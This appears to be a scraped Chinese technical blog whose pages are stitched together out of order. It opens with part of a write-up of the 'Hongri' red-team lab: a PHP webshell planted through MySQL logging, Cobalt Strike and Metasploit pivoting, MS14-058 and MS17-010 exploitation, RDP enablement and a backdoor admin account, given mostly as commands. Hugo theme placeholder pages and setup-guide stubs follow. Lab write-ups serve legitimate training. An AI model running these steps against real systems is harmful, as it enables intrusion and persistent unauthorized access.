SHOW GLOBAL VARIABLES LIKE '%secure%';

#查看是否有开启日志记录 会返回是否开启和日志文件路径

SHOW GLOBAL VARIABLES LIKE '%general%';

#开启日志记录

SET GLOBAL general_log = ON

#设置指定日志文件，这样在sql语句中加入php代码就会被记录到test.php中实现shell写入

SET GLOBAL general_log_file = 'C:/phpstudy/WWW/test.php';

#写入木马
select '<?php eval($_POST["hack"]);?>';

#执行这条语句之后，日志会将select后的查询语句记录进日志，从而让日志变成一个一句话木马
#这里eval函数可以正常连接，不知道上面探针测试结果怎么回事

0X04-后渗透

cobalt strike上线

cs生成exe，蚁剑连接shell后上传运行

上线后发现adminnistrator权限，尝试提权为system，使用 systeminfo查看系统信息发现win7且补丁很少，使用 ms14_058 提权为 system 成功


#试着开启3389服务

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f

net start termservice

0X05-内网

探测

cs自带的右键->浏览探测->网络探测&端口扫描（能看到存活3个主机，一个是已经上线的，都开了445端口，必须尝试 ms17-010

msf 联动轻松访问内网

msf 开启监听

CS 新建 foreign 监听器，IP和port与刚才 msf 使用的一致，然后选中目标机器

右键->凭证提权(spawn)->新建会话->选择刚刚新建的监听器->run

msf 拿到会话

为了使除了msf的其它工具也能通过cs反弹过来的会话进入内网，msf建立需要建立socks反向代理

首先新建路由

run post/multi/manage/autoroute

查看路由

run autoroute -p

挂起会话，建立socks

background
use auxiliary/server/socks_proxy
set VERSION 4a
set SRVHOST 127.0.0.1

show options  #这里查看proxy的端口，后面修改/etc/proxychains4.conf 文件内容为对应的 IP:PORT

exploit

修改proxychains4.conf

`1`	`sudo vim /etc/proxychains4.conf #修改文件内容为 msf 设定的 IP:PORT`

0X06-ms17-010击穿内网

net view
arp #探测内网存活主机
use post/windows/gather/arp_scanner
set RHOSTS 192.168.52.0/24
set SESSION 1
exploit

#查看域信息：
net view
#查看主域信息：
net view /domain
#开始横向渗透控制其它主机
#进行其它内网主机端口探测
sudo proxychains nmap -sS -sV -Pn 192.168.52.138

#发现445端口尝试永恒之蓝
search ms17-010

use auxiliary/admin/smb/ms17_010_command

set COMMAND net user

set RHOST 192.168.52.141

exploit

#添加用户

net user hack qaz@123 /add


#将添加的用户加入到管理员组

net localgroup administrators hack /add

#试着开启3389服务

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f

net start termservice

JAVA导出SSL证书解密https流量

Sat, 10 Aug 2024 00:00:00 +0000

JAVA导出SSL证书

#首先有一个keystore文件,为私钥
keytool -list -keystore keystore  #查看keystore密钥里面所有的证书

#导出证书为 kiss.p12 ,-srcalias tomcat为keystore存的密码,执行下面命令后会输入新的自定义的密码
keytool -importkeystore -srckeystore keystore -destkeystore kiss.p12 -deststoretype pkcs12 -srcalias tomcat

SSL证书导入wireshark

1
2

# 1.在Wireshark中，进入菜单 Edit -> Preferences…。
# 2.展开 Protocols -> SSL，点击 Edit 按钮编辑 RSA key lists。

Chinese Test

Wed, 09 Sep 2020 00:00:00 +0000

正文测试

而这些并不是完全重要，更加重要的问题是，带着这些问题，我们来审视一下学生会退会。既然如何，对我个人而言，学生会退会不仅仅是一个重大的事件，还可能会改变我的人生。我们不得不面对一个非常尴尬的事实，那就是，可是，即使是这样，学生会退会的出现仍然代表了一定的意义。学生会退会，发生了会如何，不发生又会如何。经过上述讨论，生活中，若学生会退会出现了，我们就不得不考虑它出现了的事实。学生会退会，到底应该如何实现。这样看来，在这种困难的抉择下，本人思来想去，寝食难安。对我个人而言，学生会退会不仅仅是一个重大的事件，还可能会改变我的人生。就我个人来说，学生会退会对我的意义，不能不说非常重大。莎士比亚曾经提到过，人的一生是短的，但如果卑劣地过这一生，就太长了。这似乎解答了我的疑惑。莫扎特说过一句富有哲理的话，谁和我一样用功，谁就会和我一样成功。这启发了我，对我个人而言，学生会退会不仅仅是一个重大的事件，还可能会改变我的人生。学生会退会，到底应该如何实现。一般来说，从这个角度来看，这种事实对本人来说意义重大，相信对这个世界也是有一定意义的。在这种困难的抉择下，本人思来想去，寝食难安。了解清楚学生会退会到底是一种怎么样的存在，是解决一切问题的关键。一般来说，生活中，若学生会退会出现了，我们就不得不考虑它出现了的事实。问题的关键究竟为何？而这些并不是完全重要，更加重要的问题是。

奥斯特洛夫斯基曾经说过，共同的事业，共同的斗争，可以使人们产生忍受一切的力量。　带着这句话，我们还要更加慎重的审视这个问题：一般来讲，我们都必须务必慎重的考虑考虑。既然如此，这种事实对本人来说意义重大，相信对这个世界也是有一定意义的。带着这些问题，我们来审视一下学生会退会。我认为，我认为，在这种困难的抉择下，本人思来想去，寝食难安。问题的关键究竟为何？每个人都不得不面对这些问题。在面对这种问题时，要想清楚，学生会退会，到底是一种怎么样的存在。我认为，既然如此，每个人都不得不面对这些问题。在面对这种问题时，那么，我认为，学生会退会因何而发生。

引用

思念是最暖的忧伤像一双翅膀
让我停不了飞不远在过往游荡
不告而别的你就算为了我着想
这么沉痛的呵护我怎么能翱翔

最暖的憂傷 - 田馥甄

图片

1
2
3

![Photo by Florian Klauer on Unsplash](florian-klauer-nptLmg6jqDo-unsplash.jpg)  ![Photo by Luca Bravo on Unsplash](luca-bravo-alS7ewQ41M8-unsplash.jpg) 

![Photo by Helena Hertz on Unsplash](helena-hertz-wWZzXlDpMog-unsplash.jpg)  ![Photo by Hudai Gayiran on Unsplash](hudai-gayiran-3Od_VKcDEAA-unsplash.jpg)

相册语法来自 Typlog

归档 | Archives

Tue, 28 May 2019 00:00:00 +0000

Markdown Syntax Guide

Mon, 11 Mar 2019 00:00:00 +0000

This article offers a sample of basic Markdown syntax that can be used in Hugo content files, also it shows whether basic HTML elements are decorated with CSS in a Hugo theme.

Headings

The following HTML <h1>—<h6> elements represent six levels of section headings. <h1> is the highest section level while <h6> is the lowest.

H1

H2

H3

H4

H5

H6

Paragraph

Xerum, quo qui aut unt expliquam qui dolut labo. Aque venitatiusda cum, voluptionse latur sitiae dolessi aut parist aut dollo enim qui voluptate ma dolestendit peritin re plis aut quas inctum laceat est volestemque commosa as cus endigna tectur, offic to cor sequas etum rerum idem sintibus eiur? Quianimin porecus evelectur, cum que nis nust voloribus ratem aut omnimi, sitatur? Quiatem. Nam, omnis sum am facea corem alique molestrunt et eos evelece arcillit ut aut eos eos nus, sin conecerem erum fuga. Ri oditatquam, ad quibus unda veliamenimin cusam et facea ipsamus es exerum sitate dolores editium rerore eost, temped molorro ratiae volorro te reribus dolorer sperchicium faceata tiustia prat.

Itatur? Quiatae cullecum rem ent aut odis in re eossequodi nonsequ idebis ne sapicia is sinveli squiatum, core et que aut hariosam ex eat.

Blockquotes

The blockquote element represents content that is quoted from another source, optionally with a citation which must be within a footer or cite element, and optionally with in-line changes such as annotations and abbreviations.

Blockquote without attribution

Tiam, ad mint andaepu dandae nostion secatur sequo quae. Note that you can use Markdown syntax within a blockquote.

Blockquote with attribution

Don’t communicate by sharing memory, share memory by communicating.
— Rob Pike¹

Tables

Tables aren’t part of the core Markdown spec, but Hugo supports supports them out-of-the-box.

Name	Age
Bob	27
Alice	23

Inline Markdown within tables

Italics	Bold	Code
italics	bold	`code`

A	B	C	D	E	F
Lorem ipsum dolor sit amet, consectetur adipiscing elit.	Phasellus ultricies, sapien non euismod aliquam, dui ligula tincidunt odio, at accumsan nulla sapien eget ex.	Proin eleifend dictum ipsum, non euismod ipsum pulvinar et. Vivamus sollicitudin, quam in pulvinar aliquam, metus elit pretium purus	Proin sit amet velit nec enim imperdiet vehicula.	Ut bibendum vestibulum quam, eu egestas turpis gravida nec	Sed scelerisque nec turpis vel viverra. Vivamus vitae pretium sapien

Code Blocks

Code block with backticks

<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>Example HTML5 Document</title>
</head>
<body>
  <p>Test</p>
</body>
</html>

Code block indented with four spaces

<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>Example HTML5 Document</title>
</head>
<body>
  <p>Test</p>
</body>
</html>

Code block with Hugo’s internal highlight shortcode

<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>Example HTML5 Document</title>
</head>
<body>
  <p>Test</p>
</body>
</html>

Diff code block

[dependencies.bevy]
git = "https://github.com/bevyengine/bevy"
rev = "11f52b8c72fc3a568e8bb4a4cd1f3eb025ac2e13"
- features = ["dynamic"]
+ features = ["jpeg", "dynamic"]

List Types

Ordered List

First item
Second item
Third item

Unordered List

List item
Another item
And another item

Nested list

Fruit
- Apple
- Orange
- Banana
Dairy
- Milk
- Cheese

Other Elements — abbr, sub, sup, kbd, mark

GIF is a bitmap image format.

H₂O

Xⁿ + Yⁿ = Zⁿ

Press CTRL + ALT + Delete to end the session.

Most salamanders are nocturnal, and hunt for insects, worms, and other small creatures.

Hyperlinked image

The above quote is excerpted from Rob Pike’s talk during Gopherfest, November 18, 2015. ↩︎

Placeholder Text

Sat, 09 Mar 2019 00:00:00 +0000

Lorem est tota propiore conpellat pectoribus de pectora summo.

Redit teque digerit hominumque toris verebor lumina non cervice subde tollit usus habet Arctonque, furores quas nec ferunt. Quoque montibus nunc caluere tempus inhospita parcite confusaque translucet patri vestro qui optatis lumine cognoscere flos nubis! Fronde ipsamque patulos Dryopen deorum.

Exierant elisi ambit vivere dedere
Duce pollice
Eris modo
Spargitque ferrea quos palude

Rursus nulli murmur; hastile inridet ut ab gravi sententia! Nomine potitus silentia flumen, sustinet placuit petis in dilapsa erat sunt. Atria tractus malis.

Comas hunc haec pietate fetum procerum dixit
Post torum vates letum Tiresia
Flumen querellas
Arcanaque montibus omnes
Quidem et

Vagus elidunt

The Van de Graaf Canon

Mane refeci capiebant unda mulcebat

Victa caducifer, malo vulnere contra dicere aurato, ludit regale, voca! Retorsit colit est profanae esse virescere furit nec; iaculi matertera et visa est, viribus. Divesque creatis, tecta novat collumque vulnus est, parvas. Faces illo pepulere tempus adest. Tendit flamma, ab opes virum sustinet, sidus sequendo urbis.

Iubar proles corpore raptos vero auctor imperium; sed et huic: manus caeli Lelegas tu lux. Verbis obstitit intus oblectamina fixis linguisque ausus sperare Echionides cornuaque tenent clausit possit. Omnia putatur. Praeteritae refert ausus; ferebant e primus lora nutat, vici quae mea ipse. Et iter nil spectatae vulnus haerentia iuste et exercebat, sui et.

Eurytus Hector, materna ipsumque ut Politen, nec, nate, ignari, vernum cohaesit sequitur. Vel mitis temploque vocatus, inque alis, oculos nomen non silvis corpore coniunx ne displicet illa. Crescunt non unus, vidit visa quantum inmiti flumina mortis facto sic: undique a alios vincula sunt iactata abdita! Suspenderat ego fuit tendit: luna, ante urbem Propoetides parte.

Math Typesetting

Fri, 08 Mar 2019 00:00:00 +0000

Mathematical notation in a Hugo project can be enabled by using third party JavaScript libraries.

In this example we will be using KaTeX

Create a partial under /layouts/partials/math.html
Within this partial reference the Auto-render Extension or host these scripts locally.
Include the partial in your templates like so:

1
2
3

{{ if or .Params.math .Site.Params.math }}
{{ partial "math.html" . }}
{{ end }}

To enable KaTeX globally set the parameter math to true in a project’s configuration
To enable KaTeX on a per page basis include the parameter math: true in content files

Note: Use the online reference of Supported TeX Functions

Examples

Inline math: $\varphi = \dfrac{1+\sqrt5}{2}= 1.6180339887…$

Block math:

$$ \varphi = 1+\frac{1} {1+\frac{1} {1+\frac{1} {1+\cdots} } } $$

Emoji Support

Tue, 05 Mar 2019 00:00:00 +0000

Emoji can be enabled in a Hugo project in a number of ways.

The emojify function can be called directly in templates or Inline Shortcodes.

To enable emoji globally, set enableEmoji to true in your site’s configuration and then you can type emoji shorthand codes directly in content files; e.g.

🙈 :see_no_evil: 🙉 :hear_no_evil: 🙊 :speak_no_evil:

The Emoji cheat sheet is a useful reference for emoji shorthand codes.

N.B. The above steps enable Unicode Standard emoji characters and sequences in Hugo, however the rendering of these glyphs depends on the browser and the platform. To style the emoji you can either use a third party emoji font or a font stack; e.g.

1
2
3

.emoji {
  font-family: Apple Color Emoji, Segoe UI Emoji, NotoColorEmoji, Segoe UI Symbol, Android Emoji, EmojiSymbols;
}

Mon, 01 Jan 0001 00:00:00 +0000

遇到的问题及解决方案

重启后没有IP了

# 配置静态IP

# 使用dhclient
# 安装
sudo apt install isc-dhcp-client
# 使用
sudo hdclient

关于 | about

Mon, 01 Jan 0001 00:00:00 +0000

This is a test page for i18n support.

搜索 | Search

Mon, 01 Jan 0001 00:00:00 +0000

友链 | Links

Mon, 01 Jan 0001 00:00:00 +0000

To use this feature, add links section to frontmatter.

This page’s frontmatter:

links:
  - title: GitHub
    description: GitHub is the world's largest software development platform.
    website: https://github.com
    image: https://github.githubassets.com/images/modules/logos_page/GitHub-Mark.png
  - title: TypeScript
    description: TypeScript is a typed superset of JavaScript that compiles to plain JavaScript.
    website: https://www.typescriptlang.org
    image: ts-logo-128.jpg

image field accepts both local and external images.

Izumi Konata

使用docker搭建本地知识库Outline 使用keycloak实现本地注册认证

Outline搭建

参考文献：docker基于本地存储部署outline团队知识库_outline部署

准备

安装docker、和 docker compose 插件

docker配置镜像源

部署

创建文件夹路径

keycloak/docker-compose.yml

outline/docker-compose.yml

outline/docker.env.txt

启动

Ubuntu-service-2024使用k3s搭建kubernetes

Ubuntu-service-2024使用k3s搭建kubernetesk3s

安装&使用

Ubuntu-service-2024使用minicube搭建kubernetes

Ubuntu-service-2024使用minicube搭建kubernetes

minikube下载安装

官方文档

常用命令

一般查看官方文档就行,下面是我遇到的问题和解决方案

环境: 2核4G的Ubuntu虚拟机, 驱动是docker 下面是启动脚本

无法访问docker的权限问题导致启动失败

docker驱动时,第一次启动需要拉取镜像的网络问题

未安装虚拟机驱动导致minikube start 报错 Exiting due to DRV_NOT_DETECTED

资源不足导致启动失败

未清理旧集群, 多次启动失败后残留配置冲突

运行第一个 Kubernetes 应用

超详细 Hadoop 集群搭建指南：从环境准备到成功启动

超详细 Hadoop 集群搭建指南：从环境准备到成功启动

一、环境准备：打好集群基础

1.1 集群节点规划

1.2 操作系统配置（所有节点执行）

（1）关闭防火墙与 SELinux

（2）配置主机名与 IP 映射

（3）安装 Java 环境

1.3 配置 SSH 免密登录（主节点→从节点）

二、Hadoop 安装与核心配置

2.1 下载并解压 Hadoop（主节点执行）

2.2 配置 Hadoop 环境变量（所有节点执行）

2.3 修改 Hadoop 核心配置文件（主节点执行）

（1）hadoop-env.sh（指定 Java 路径）

（2）core-site.xml（核心配置：指定 NameNode 地址）

（3）hdfs-site.xml（HDFS 配置：副本数、NameNode/DataNode 存储路径）

（4）mapred-site.xml（MapReduce 配置：指定 YARN 为资源管理器）

（5）yarn-site.xml（YARN 配置：指定 ResourceManager 地址、节点管理器环境）

2.4 指定从节点（主节点执行）

2.5 同步配置到所有从节点（主节点执行）

2.6 创建 Hadoop 数据目录（所有节点执行）

三、格式化 HDFS 与启动集群

3.1 格式化 NameNode（仅主节点执行）

3.2 启动 Hadoop 集群（主节点执行）

（1）分步启动（推荐新手）

（2）一键启动（配置好 workers 后可用）

3.3 验证集群状态

（1）查看进程（主节点执行）

（2）Web UI 验证

（3）执行 HDFS 命令验证

四、常见问题与避坑指南

五、总结

Ubuntu-service-2024安装docker和docker-compose

Ubuntu-service-2024安装docker

Ubuntu官方下载

检查并卸载老版本

安装新版本

pip 安装 docker-compose

Ubuntu-service-2024安装miniconda管理python环境

安装miniconda

conda管理python虚拟环境

conda换源

管理虚拟环境

虚拟环境中pip换源

ATT&CK (红日靶场01)

ATT&CK红队评估（红日靶场一）

靶场下载

0X01-主机发现

0X02-信息收集

端口扫描结果

0X03-web渗透

cs自带的右键->浏览探测->网络探测&端口扫描（能看到存活3个主机，一个是已经上线的，都开了445端口，必须尝试 ms17-010